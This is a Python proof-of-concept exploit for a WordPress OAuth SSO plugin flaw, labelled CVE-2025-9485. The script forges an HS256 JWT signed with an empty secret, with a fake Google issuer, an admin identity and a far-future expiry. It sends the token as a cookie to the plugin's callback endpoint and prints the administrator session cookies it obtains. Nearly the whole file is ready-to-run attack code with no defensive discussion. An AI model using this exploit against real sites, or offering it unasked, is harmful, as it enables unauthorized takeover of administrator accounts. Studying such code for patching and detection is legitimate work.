# CVE-2025-9485 PoC - WordPress OAuth SSO JWT Signature Verification Bypass
# This PoC demonstrates how to forge a JWT token to bypass authentication
import base64
import json
import hmac
import hashlib
import requests
TARGET_URL = "http://target-wordpress-site.com"
def base64url_encode(data):
"""Encode bytes to base64url without padding"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def forge_jwt(user_id, email, username, secret=""):
"""Forge a JWT token without proper signature verification"""
# JWT Header - using HS256 algorithm
header = {
"alg": "HS256",
"typ": "JWT"
}
# JWT Payload - set user identity information
payload = {
"sub": str(user_id), # Subject (user identifier)
"email": email, # User email
"name": username, # Username
"preferred_username": username,
"iss": "https://accounts.google.com", # Fake issuer
"aud": "client_id_placeholder",
"iat": 1700000000,
"exp": 9999999999 # Far future expiration
}
# Encode header and payload
header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')).encode())
payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())
# Create signature (plugin doesn't verify this properly)
signing_input = f"{header_b64}.{payload_b64}"
signature = hmac.new(
secret.encode(),
signing_input.encode(),
hashlib.sha256
).digest()
signature_b64 = base64url_encode(signature)
return f"{signing_input}.{signature_b64}"
def exploit(target_url, user_id=1, email="
[email protected]", username="admin"):
"""Exploit the JWT verification bypass to gain unauthorized access"""
# Step 1: Forge a malicious JWT token
forged_token = forge_jwt(user_id, email, username)
print(f"[+] Forged JWT token: {forged_token[:50]}...")
# Step 2: Send the forged token to the OAuth callback endpoint
callback_url = f"{target_url}/?option=mo_oauth_redirect"
cookies = {"mo_oauth_token": forged_token}
response = requests.get(callback_url, cookies=cookies, allow_redirects=False)
if response.status_code == 302:
# Step 3: Extract session cookies from redirect
session_cookies = response.cookies
print(f"[+] Authentication bypassed! Session cookies obtained:")
for cookie in session_cookies:
print(f" {cookie.name} = {cookie.value}")
return session_cookies
else:
print(f"[-] Exploitation failed. Status code: {response.status_code}")
return None
if __name__ == "__main__":
# Attempt to login as admin (user_id=1 is typically the first admin)
exploit(TARGET_URL, user_id=1, email="
[email protected]", username="admin")